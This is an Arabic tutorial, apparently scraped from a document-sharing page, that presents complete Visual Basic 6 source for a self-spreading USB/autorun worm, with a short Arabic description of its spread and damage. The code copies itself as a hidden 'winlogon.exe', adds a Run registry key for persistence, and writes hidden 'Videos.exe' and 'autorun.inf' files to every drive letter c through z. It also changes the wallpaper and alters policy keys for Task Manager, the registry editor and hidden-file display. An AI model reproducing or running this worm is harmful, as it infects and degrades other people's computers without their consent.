21

برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

  • Upload
    -

  • View
    64

  • Download
    8

Embed Size (px)

Citation preview

Page 1: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان
Page 2: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

من جمعته ما على استناداً االعدادي السادس الصف في الدودة هذه او البرنامج هذا كتبتانتشارها طرق و الديدان حول معلومات

تلقائياً تعمل لكي الويندوز في ) االوتوران ( التلقائي التشغيل خاصية باستغالل الدودة هذه تقوم ) .الفالش ( المتنقلة الذاكرة او الصلب القرص اقسام احد الى بالدخول المستخدم قيام عند

ليقوم النظام سجل الى مفتاح تضيف و النظام الى نفسها بنسخ تقوم تشغيلها يتم ان بعد يريد الذي الذاكرة مسار بفتح تقوم ثم الحاسب تشغيل فيها يتم مرة كل في تلقائياً بتشغيلها

الدودة بوجود يشعر او الحاسب في مشاكل المستخدم يواجه ال لكي , اليه الدخول المستخدم

, المكتب لسطح خلفية منها تجعل و الحاسب في فيها المخزنة الصورة بحفظ الدودة تقوم ذلك بعد من كل تعطل و بالحاسب وصلها تم ان المتنقلة الذاكرة و الصلب القرص اقسام كل في تنتشر ثم

.باستمرار النظام في المخفية الملفات اظهار خاصية و السجالت مدير و المهام مدير

الدودة خصائص

وحدات ضمن االنتشار نعم التخزين

الشبكة ضمن االنتشار ال عمليات نتيجة الحاسب في نسبي بطيء و السجالت مدير تعطيل , المتكررة النسخ الملفات مشاهدة خاصية و المهام مدير القرص اقسام الى الدخول اعاقة , المخفية خلفية تغيير , النافذة نفس ضمن الصلب

.باستمرار المكتب سطح

الناتجة االضرار

Windows xp االنظمة مع تتوافق التجسس الالمستخدم ملفات حذف ال المستخدم ملفات مع االندماج ال

الحماية برامج جميع قبل من مكشوفة .لالنتشار بدائية طريقة تستخدم النها

الحماية برامج مقاومة

Page 3: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

:المستخدمة الكائنات

Form

Name Winlogon ShowInTaskbar False

Icon Windows Folder Icon Code Private Declare Function GetSystemDirectory Lib "kernel32"

Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Private Declare Function IsIconic Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long Private Sub Form_Load() On Error Resume Next Dim strTemp As String, strUserName As String Dim lngSuccess As Long Dim strBitmapImage As String Dim sSave As String, Ret As Long sSave = Space(255) Ret = GetSystemDirectory(sSave, 255) sSave = Left$(sSave, Ret) i = Left(sSave, 3) b = i & "Windows\system\winlogon.exe" a = App.Path & "\" & App.EXEName & ".exe" FileCopy a, b x = i & "ts91.bmp" DPATH = "Explorer.exe " & Drive1.Drive b = i & "Windows\system\winlogon.exe" modRegistry.fWriteValue "HKCU", "Software\Microsoft\Windows\CurrentVersion\Run", "update", "S", b FileCopy a, b VB.App.TaskVisible = False WinExec DPATH, 10 strTemp = String(100, Chr$(0)) GetTempPath 100, strTemp strTemp = Left$(strTemp, InStr(strTemp, Chr$(0)) - 1)

Page 4: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

strUserName = String(100, Chr$(0)) GetUserName strUserName, 100 strUserName = Left$(strUserName, InStr(strUserName, Chr$(0)) - 1) n = strUserName VBA.SetAttr b, vbHidden SavePicture Pic.Picture, x strBitmapImage = x lngSuccess = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, strBitmapImage, 0) End Sub

Timer

Name Timer1 Enabled True Interval 5000

Code Private Sub Timer1_Timer() On Error Resume Next SetAttr "c:\Autorun.inf", vbNormal SetAttr "c:\Videos.exe", vbNormal SetAttr "d:\Autorun.inf", vbNormal SetAttr "d:\Videos.exe", vbNormal SetAttr "e:\Autorun.inf", vbNormal SetAttr "e:\Videos.exe", vbNormal SetAttr "f:\Autorun.inf", vbNormal SetAttr "f:\Videos.exe", vbNormal SetAttr "g:\Autorun.inf", vbNormal SetAttr "g:\Videos.exe", vbNormal SetAttr "h:\Autorun.inf", vbNormal SetAttr "h:\Videos.exe", vbNormal SetAttr "i:\Autorun.inf", vbNormal SetAttr "i:\Videos.exe", vbNormal SetAttr "j:\Autorun.inf", vbNormal SetAttr "j:\Videos.exe", vbNormal SetAttr "k:\Autorun.inf", vbNormal SetAttr "k:\Videos.exe", vbNormal SetAttr "l:\Autorun.inf", vbNormal SetAttr "l:\Videos.exe", vbNormal SetAttr "m:\Autorun.inf", vbNormal SetAttr "m:\Videos.exe", vbNormal SetAttr "n:\Autorun.inf", vbNormal SetAttr "n:\Videos.exe", vbNormal SetAttr "o:\Autorun.inf", vbNormal SetAttr "o:\Videos.exe", vbNormal

Page 5: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

SetAttr "p:\Autorun.inf", vbNormal SetAttr "p:\Videos.exe", vbNormal SetAttr "q:\Autorun.inf", vbNormal SetAttr "q:\Videos.exe", vbNormal SetAttr "r:\Autorun.inf", vbNormal SetAttr "r:\Videos.exe", vbNormal SetAttr "s:\Autorun.inf", vbNormal SetAttr "s:\Videos.exe", vbNormal SetAttr "t:\Autorun.inf", vbNormal SetAttr "t:\Videos.exe", vbNormal SetAttr "u:\Autorun.inf", vbNormal SetAttr "u:\Videos.exe", vbNormal SetAttr "v:\Autorun.inf", vbNormal SetAttr "v:\Videos.exe", vbNormal SetAttr "w:\Autorun.inf", vbNormal SetAttr "w:\Videos.exe", vbNormal SetAttr "x:\Autorun.inf", vbNormal SetAttr "x:\Videos.exe", vbNormal SetAttr "y:\Autorun.inf", vbNormal SetAttr "y:\Videos.exe", vbNormal SetAttr "z:\Autorun.inf", vbNormal SetAttr "z:\Videos.exe", vbNormal On Error Resume Next FileCopy a, "c:\Videos.exe" FileCopy a, "d:\Videos.exe" FileCopy a, "e:\Videos.exe" FileCopy a, "f:\Videos.exe" FileCopy a, "g:\Videos.exe" FileCopy a, "h:\Videos.exe" FileCopy a, "i:\Videos.exe" FileCopy a, "j:\Videos.exe" FileCopy a, "k:\Videos.exe" FileCopy a, "l:\Videos.exe" FileCopy a, "m:\Videos.exe" FileCopy a, "n:\Videos.exe" FileCopy a, "o:\Videos.exe" FileCopy a, "p:\Videos.exe" FileCopy a, "q:\Videos.exe" FileCopy a, "r:\Videos.exe" FileCopy a, "s:\Videos.exe" FileCopy a, "t:\Videos.exe" FileCopy a, "u:\Videos.exe" FileCopy a, "v:\Videos.exe" FileCopy a, "w:\Videos.exe" FileCopy a, "x:\Videos.exe" FileCopy a, "y:\Videos.exe" FileCopy a, "z:\Videos.exe" On Error Resume Next Open "c:\Autorun.inf" For Output As #1

Page 6: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

Print #1, (txt1.Text) Close #1 Open "d:\Autorun.inf" For Output As #2 Print #2, (txt1.Text) Close #2 Open "e:\Autorun.inf" For Output As #3 Print #3, (txt1.Text) Close #3 Open "f:\Autorun.inf" For Output As #4 Print #4, (txt1.Text) Close #4 Open "g:\Autorun.inf" For Output As #5 Print #5, (txt1.Text) Close #5 Open "h:\Autorun.inf" For Output As #6 Print #6, (txt1.Text) Close #6 Open "i:\Autorun.inf" For Output As #7 Print #7, (txt1.Text) Close #7 Open "j:\Autorun.inf" For Output As #8 Print #8, (txt1.Text) Close #8 Open "k:\Autorun.inf" For Output As #9 Print #9, (txt1.Text) Close #9 Open "l:\Autorun.inf" For Output As #10 Print #10, (txt1.Text) Close #10 Open "m:\Autorun.inf" For Output As #11 Print #11, (txt1.Text) Close #11 Open "n:\Autorun.inf" For Output As #12 Print #12, (txt1.Text) Close #12 Open "o:\Autorun.inf" For Output As #13 Print #13, (txt1.Text) Close #13 Open "p:\Autorun.inf" For Output As #14 Print #14, (txt1.Text) Close #14 Open "q:\Autorun.inf" For Output As #15 Print #15, (txt1.Text) Close #15 Open "r:\Autorun.inf" For Output As #16 Print #16, (txt1.Text) Close #16 Open "s:\Autorun.inf" For Output As #17 Print #17, (txt1.Text)

Page 7: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

Close #17 Open "t:\Autorun.inf" For Output As #18 Print #18, (txt1.Text) Close #18 Open "u:\Autorun.inf" For Output As #19 Print #19, (txt1.Text) Close #19 Open "v:\Autorun.inf" For Output As #20 Print #20, (txt1.Text) Close #20 Open "w:\Autorun.inf" For Output As #21 Print #21, (txt1.Text) Close #21 Open "x:\Autorun.inf" For Output As #22 Print #22, (txt1.Text) Close #22 Open "y:\Autorun.inf" For Output As #23 Print #23, (txt1.Text) Close #23 Open "z:\Autorun.inf" For Output As #24 Print #24, (txt1.Text) Close #24 SetAttr "c:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "c:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "d:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "d:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "e:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "e:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "f:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "f:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "g:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "g:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "h:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "h:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "i:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "i:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "j:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "j:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "k:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "k:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "l:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "l:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "m:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "m:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "n:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "n:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "o:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "o:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "p:\Autorun.inf", vbHidden + vbSystem + vbReadOnly

Page 8: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

SetAttr "p:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "q:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "q:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "r:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "r:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "s:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "s:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "t:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "t:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "u:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "u:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "v:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "v:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "w:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "w:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "x:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "x:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "y:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "y:\Videos.exe", vbHidden + vbSystem + vbReadOnly SetAttr "z:\Autorun.inf", vbHidden + vbSystem + vbReadOnly SetAttr "z:\Videos.exe", vbHidden + vbSystem + vbReadOnly End Sub

Timer

Name Timer2 Enabled True Interval 1000

Code Private Sub Timer2_Timer() On Error Resume Next modRegistry.fWriteValue "HKCU", "Software\Microsoft\Windows\CurrentVersion\Run", "update", "S", b Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_Dword /d 0 /f", vbHide Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_Dword /d 0 /f", vbHide Shell "REG add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_Dword /d 00000000 /f", vbHide End Sub

Page 9: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

TextBox

Name txt1 MultiLine True

Text [AutoRun] open=Videos.exe shellexecute=Videos.exe shell\Auto\command=Videos.exe

DriveListBox

Name Drive1 MultiLine True

Text [AutoRun] open=Videos.exe shellexecute=Videos.exe shell\Auto\command=Videos.exe

PictureBox

Name Pic Picture المكتب لسطح كخلفية لجعلها صورة اختر

Text [AutoRun] open=Videos.exe shellexecute=Videos.exe shell\Auto\command=Videos.exe

Module

Name modRegistry Code Option Explicit

Type SECURITY_ATTRIBUTES nLength As Long

Page 10: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

lpSecurityDescriptor As Long bInheritHandle As Boolean End Type Public Const MAX_SIZE = 2048 Public Const MAX_INISIZE = 8192 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_USERS = &H80000003 Public Const HKEY_DYN_DATA = &H80000006 Public Const HKEY_CURRENT_CONFIG = &H80000005 Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const ERROR_SUCCESS = 0& Public Const ERROR_FILE_NOT_FOUND = 2& Public Const ERROR_MORE_DATA = 234 Public Const ERROR_NO_MORE_ITEMS = 259& Public Const REG_OPTION_NON_VOLATILE = 0 Public Const REG_CREATED_NEW_KEY = &H1 Public Const REG_OPENED_EXISTING_KEY = &H2 Public Const REG_NONE = 0 Public Const REG_SZ = 1 Public Const REG_BINARY = 3 Public Const REG_DWORD = 4 Public Const KEY_QUERY_VALUE = &H1 Public Const KEY_SET_VALUE = &H2 Public Const KEY_CREATE_SUB_KEY = &H4 Public Const KEY_ENUMERATE_SUB_KEYS = &H8 Declare Function RegEnumValue Lib "advapi32.dll" _ Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, _ ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, _ lpType As Long, lpData As Any, lpcbData As Long) As Long Declare Function RegDeleteValue Lib "advapi32.dll" _ Alias "RegDeleteValueA" _ (ByVal hKey As Long, ByVal lpValueName As String) _ As Long Declare Function RegDeleteKey Lib "advapi32.dll" _ Alias "RegDeleteKeyA" _ (ByVal hKey As Long, ByVal lpSubKey As String) As Long Declare Function RegOpenKeyEx Lib "advapi32.dll" _ Alias "RegOpenKeyExA" _ (ByVal hKey As Long, ByVal lpSubKey As String, _ ByVal ulOptions As Long, ByVal samDesired As Long, _ phkResult As Long) As Long Declare Function RegCreateKeyEx Lib "advapi32.dll" _ Alias "RegCreateKeyExA" _

Page 11: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

(ByVal hKey As Long, ByVal lpSubKey As String, _ ByVal Reserved As Long, ByVal lpClass As String, _ ByVal dwOptions As Long, ByVal samDesired As Long, _ lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, _ lpdwDisposition As Long) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" _ Alias "RegQueryValueExA" _ (ByVal hKey As Long, ByVal lpszValueName As String, _ ByVal lpdwReserved As Long, lpdwType As Long, _ lpData As Any, lpcbData As Long) As Long Declare Function RegSetValueEx Lib "advapi32.dll" _ Alias "RegSetValueExA" _ (ByVal hKey As Long, ByVal lpValueName As String, _ ByVal Reserved As Long, ByVal dwType As Long, _ lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegEnumKey Lib "advapi32.dll" Alias _ "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, _ ByVal lpName As String, ByVal cbName As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" _ (ByVal hKey As Long) As Long Declare Function GetPrivateProfileSection Lib "kernel32" _ Alias "GetPrivateProfileSectionA" (ByVal lpAppName As String, _ ByVal lpReturnedString As String, ByVal nSize As Long, ByVal _ lpFileName As String) As Long Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, _ ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString _ As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, _ ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) _ As Long Declare Function GetPrivateProfileInt Lib "kernel32" _ Alias "GetPrivateProfileIntA" (ByVal

Page 12: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

lpApplicationName As String, _ ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName _ As String) As Long Public Function fDeleteKey(ByVal sTopKey As String, _ ByVal sSubKey As String, ByVal sKeyName As String) As Long Dim lTopKey As Long Dim lHandle As Long Dim lResult As Long On Error GoTo fDeleteKeyError lResult = 99 lTopKey = fTopKey(sTopKey) If lTopKey = 0 Then GoTo fDeleteKeyError lResult = RegOpenKeyEx(lTopKey, sSubKey, 0, KEY_CREATE_SUB_KEY, lHandle) If lResult = ERROR_SUCCESS Then lResult = RegDeleteKey(lHandle, sKeyName) End If If lResult = ERROR_SUCCESS Or lResult = ERROR_FILE_NOT_FOUND Then fDeleteKey = ERROR_SUCCESS Else fDeleteKey = lResult End If Exit Function fDeleteKeyError: fDeleteKey = lResult End Function Public Function fDeleteValue(ByVal sTopKeyOrFile As String, _ ByVal sSubKeyOrSection As String, ByVal sValueName As String) As Long Dim lTopKey As Long Dim lHandle As Long Dim lResult As Long On Error GoTo fDeleteValueError lResult = 99 lTopKey = fTopKey(sTopKeyOrFile) If lTopKey = 0 Then GoTo fDeleteValueError If lTopKey = 1 Then lResult = WritePrivateProfileString(sSubKeyOrSection, sValueName, "", sTopKeyOrFile) Else lResult = RegOpenKeyEx(lTopKey, sSubKeyOrSection, 0, KEY_SET_VALUE, lHandle) If lResult = ERROR_SUCCESS Then

Page 13: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

lResult = RegDeleteValue(lHandle, sValueName) End If If lResult = ERROR_SUCCESS Or lResult = ERROR_FILE_NOT_FOUND Then fDeleteValue = ERROR_SUCCESS Else fDeleteValue = lResult End If End If Exit Function fDeleteValueError: fDeleteValue = lResult End Function Public Function fEnumKey(ByVal sTopKey As String, _ ByVal sSubKey As String, sValues As String) As Long Dim bDone As Boolean Dim lTopKey As Long Dim lHandle As Long Dim lResult As Long Dim lIndex As Long Dim sKeyName As String On Error GoTo fEnumKeyError lResult = 99 lTopKey = fTopKey(sTopKey) If lTopKey = 0 Then GoTo fEnumKeyError lResult = RegOpenKeyEx(lTopKey, sSubKey, 0, KEY_ENUMERATE_SUB_KEYS, lHandle) If lResult <> ERROR_SUCCESS Then GoTo fEnumKeyError Do While Not bDone sKeyName = Space$(MAX_SIZE) lResult = RegEnumKey(lHandle, lIndex, sKeyName, MAX_SIZE) If lResult = ERROR_SUCCESS Then sValues = sValues & Trim$(sKeyName) lIndex = lIndex + 1 Else bDone = True End If Loop sValues = sValues & vbNullChar If Len(sValues) = 1 Then sValues = sValues & vbNullChar fEnumKey = RegCloseKey(lHandle) Exit Function fEnumKeyError: fEnumKey = lResult End Function Public Function fEnumValue(ByVal sTopKeyOrIniFile As String, _

Page 14: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

ByVal sSubKeyOrSection As String, sValues As String) As Long Dim lTopKey As Long Dim lHandle As Long Dim lResult As Long Dim lValueLen As Long Dim lIndex As Long Dim lValue As Long Dim lValueType As Long Dim lData As Long Dim lDataLen As Long Dim bDone As Boolean Dim sValueName As String Dim sValue As String On Error GoTo fEnumValueError lResult = 99 lTopKey = fTopKey(sTopKeyOrIniFile) If lTopKey = 0 Then GoTo fEnumValueError If lTopKey = 1 Then sValues = Space$(MAX_INISIZE) lResult = GetPrivateProfileSection(sSubKeyOrSection, sValues, Len(sValues), sTopKeyOrIniFile) Else lResult = RegOpenKeyEx(lTopKey, sSubKeyOrSection, 0, KEY_QUERY_VALUE, lHandle) If lResult <> ERROR_SUCCESS Then GoTo fEnumValueError Do While Not bDone lDataLen = MAX_SIZE lValueLen = lDataLen sValueName = Space$(lDataLen) lResult = RegEnumValue(lHandle, lIndex, sValueName, lValueLen, 0, lValueType, ByVal lData, lDataLen) If lResult = ERROR_SUCCESS Then Select Case lValueType Case REG_SZ sValue = Space$(lDataLen) sValueName = Left$(sValueName, lValueLen) lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_SZ, ByVal sValue, lDataLen) If lResult = ERROR_SUCCESS Then sValues = sValues & sValueName & "=" & sValue Else GoTo fEnumValueError End If Case REG_DWORD

Page 15: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_NONE, lValue, lDataLen) If lResult = ERROR_SUCCESS Then sValueName = Left$(sValueName, lValueLen) sValues = sValues & sValueName & "=" & lValue & vbNullChar Else GoTo fEnumValueError End If Case REG_BINARY If lDataLen <= 2 Then lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_NONE, lValue, lDataLen) If lResult = ERROR_SUCCESS Then sValueName = Left$(sValueName, lValueLen) sValues = sValues & sValueName & "=" & lValue & vbNullChar Else GoTo fEnumValueError End If End If Case Else End Select lIndex = lIndex + 1 Else bDone = True End If Loop sValues = sValues & vbNullChar If Len(sValues) = 1 Then sValues = sValues & vbNullChar lResult = RegCloseKey(lHandle) fEnumValue = lResult End If Exit Function fEnumValueError: fEnumValue = lResult End Function Public Function fReadIniFuzzy(ByVal sIniFile As String, _ sSection As String, ByVal sIniEntry As String, _ ByVal sDefault As String, sValue As String) As Long Dim sNextChar As String Dim sLine As String Dim sEntry As String Dim sSectionName As String Dim iLen As Integer Dim iLocOfEq As Integer Dim iFnum As Integer

Page 16: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

Dim bDone As Boolean Dim bFound As Boolean Dim bNewSection As Boolean On Error GoTo fReadIniFuzzyError fReadIniFuzzy = 99 bDone = False sValue = sDefault sEntry = UCase$(sIniEntry) sSection = UCase$(sSection) iLen = Len(sSection) iFnum = FreeFile Open sIniFile For Input Access Read As iFnum Line Input #iFnum, sLine Do While Not EOF(iFnum) And Not bDone sLine = UCase$(Trim$(sLine)) bNewSection = False If Left$(sLine, 1) = "[" Then sSectionName = sLine Dim iPos As Integer iPos = InStr(1, sLine, sSection) If iPos > 0 Then sNextChar = Mid$(sLine, iPos + iLen, 1) If sNextChar = " " Or sNextChar = "]" Then Line Input #iFnum, sLine bFound = False bNewSection = False Do While Not EOF(iFnum) And Not bFound sLine = UCase$(Trim$(sLine)) If Left$(sLine, 1) = "[" Then bNewSection = True Exit Do End If If InStr(1, sLine, sEntry) = 1 Then iLocOfEq = InStr(1, sLine, "=") If iLocOfEq <> 0 Then sValue = Mid$(sLine, iLocOfEq + 1) sSection = Mid$(sSectionName, 2, InStr(1, sSectionName, "]") - 2) bFound = True bDone = True fReadIniFuzzy = 0 End If End If If Not bFound Then Line Input #iFnum, sLine End If Loop If EOF(iFnum) Then bDone = True sSection = Mid$(sSectionName, 2, InStr(1,

Page 17: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

sSectionName, "]") - 2) End If End If End If If Not bNewSection And Not bDone Then Line Input #iFnum, sLine End If Loop Close iFnum Exit Function fReadIniFuzzyError: fReadIniFuzzy = 99 End Function Public Function fReadValue(ByVal sTopKeyOrFile As String, _ ByVal sSubKeyOrSection As String, ByVal sValueName As String, _ ByVal sValueType As String, ByVal vDefault As Variant, _ vValue As Variant) As Long Dim lTopKey As Long Dim lHandle As Long Dim lLenData As Long Dim lResult As Long Dim lDefault As Long Dim lValue As Long Dim sValue As String Dim sSubKeyPath As String Dim sDefaultStr As String Dim bValue As Boolean On Error GoTo fReadValueError lResult = 99 vValue = vDefault lTopKey = fTopKey(sTopKeyOrFile) If lTopKey = 0 Then GoTo fReadValueError If lTopKey = 1 Then If UCase$(sValueType) = "S" Then lLenData = 255 sDefaultStr = vDefault sValue = Space$(lLenData) lResult = GetPrivateProfileString(sSubKeyOrSection, sValueName, sDefaultStr, sValue, lLenData, sTopKeyOrFile) vValue = Left$(sValue, lResult) Else lDefault = 0 lResult = GetPrivateProfileInt(sSubKeyOrSection, sValueName, lDefault, sTopKeyOrFile) End If

Page 18: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

Else lResult = RegOpenKeyEx(lTopKey, sSubKeyOrSection, 0, KEY_QUERY_VALUE, lHandle) If lResult <> ERROR_SUCCESS Then fReadValue = lResult Exit Function End If Select Case UCase$(sValueType) Case "S" lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_SZ, "", lLenData) If lResult = ERROR_MORE_DATA Then sValue = Space(lLenData) lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_SZ, ByVal sValue, lLenData) End If If lResult = ERROR_SUCCESS Then vValue = Left$(sValue, lLenData - 1) Else GoTo fReadValueError End If Case "B" lLenData = Len(bValue) lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_BINARY, bValue, lLenData) If lResult = ERROR_SUCCESS Then vValue = bValue Else GoTo fReadValueError End If Case "D" lLenData = 32 lResult = RegQueryValueEx(lHandle, sValueName, 0, REG_DWORD, lValue, lLenData) If lResult = ERROR_SUCCESS Then vValue = lValue Else GoTo fReadValueError End If End Select lResult = RegCloseKey(lHandle) fReadValue = lResult End If Exit Function fReadValueError: fReadValue = lResult End Function Private Function fTopKey(ByVal sTopKeyOrFile As String) As Long

Page 19: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

Dim sDir As String On Error GoTo fTopKeyError fTopKey = 0 Select Case UCase$(sTopKeyOrFile) Case "HKCU" fTopKey = HKEY_CURRENT_USER Case "HKLM" fTopKey = HKEY_LOCAL_MACHINE Case "HKU" fTopKey = HKEY_USERS Case "HKDD" fTopKey = HKEY_DYN_DATA Case "HKCC" fTopKey = HKEY_CURRENT_CONFIG Case "HKCR" fTopKey = HKEY_CLASSES_ROOT Case Else On Error Resume Next sDir = Dir$(sTopKeyOrFile) If Err.Number = 0 And sDir <> "" Then fTopKey = 1 End Select Exit Function fTopKeyError: End Function Public Function fWriteValue(ByVal sTopKeyOrFile As String, _ ByVal sSubKeyOrSection As String, ByVal sValueName As String, _ ByVal sValueType As String, ByVal vValue As Variant) As Long Dim hKey As Long Dim lTopKey As Long Dim lOptions As Long Dim lsamDesired As Long Dim lHandle As Long Dim lDisposition As Long Dim lLenData As Long Dim lResult As Long Dim lValue As Long Dim sClass As String Dim sValue As String Dim sSubKeyPath As String Dim bValue As Boolean Dim tSecurityAttributes As SECURITY_ATTRIBUTES On Error GoTo fWriteValueError lResult = 99 lTopKey = fTopKey(sTopKeyOrFile) If lTopKey = 0 Then GoTo fWriteValueError

Page 20: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

If lTopKey = 1 Then If UCase$(sValueType) = "S" Then sValue = vValue lResult = WritePrivateProfileString(sSubKeyOrSection, sValueName, sValue, sTopKeyOrFile) Else GoTo fWriteValueError End If Else sClass = "" lOptions = REG_OPTION_NON_VOLATILE lsamDesired = KEY_CREATE_SUB_KEY Or KEY_SET_VALUE lResult = RegCreateKeyEx(lTopKey, sSubKeyOrSection, 0, sClass, lOptions, _ lsamDesired, tSecurityAttributes, lHandle, lDisposition) If lResult <> ERROR_SUCCESS Then GoTo fWriteValueError Select Case UCase$(sValueType) Case "S" sValue = vValue lLenData = Len(sValue) lResult = RegSetValueEx(lHandle, sValueName, 0, REG_SZ, ByVal sValue, lLenData) Case "B" bValue = vValue lLenData = Len(bValue) lResult = RegSetValueEx(lHandle, sValueName, 0, REG_BINARY, bValue, lLenData) Case "D" lValue = CInt(vValue) lLenData = 4 lResult = RegSetValueEx(lHandle, sValueName, 0, REG_DWORD, lValue, lLenData) End Select If lResult = ERROR_SUCCESS Then lResult = RegCloseKey(lHandle) fWriteValue = lResult Exit Function End If End If Exit Function fWriteValueError: fWriteValue = lResult End Function

Page 21: برمجة دودة بسيطة بلغة فيجوال بيسك - ظافر شعلان

.المرفق المشروع على االطالع يمكنك , ما حد الى بدائية الدودة هذه

Module

Name Module1 Code Declare Function SystemParametersInfo Lib "user32"

Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long Public Const SPI_SETDESKWALLPAPER = 20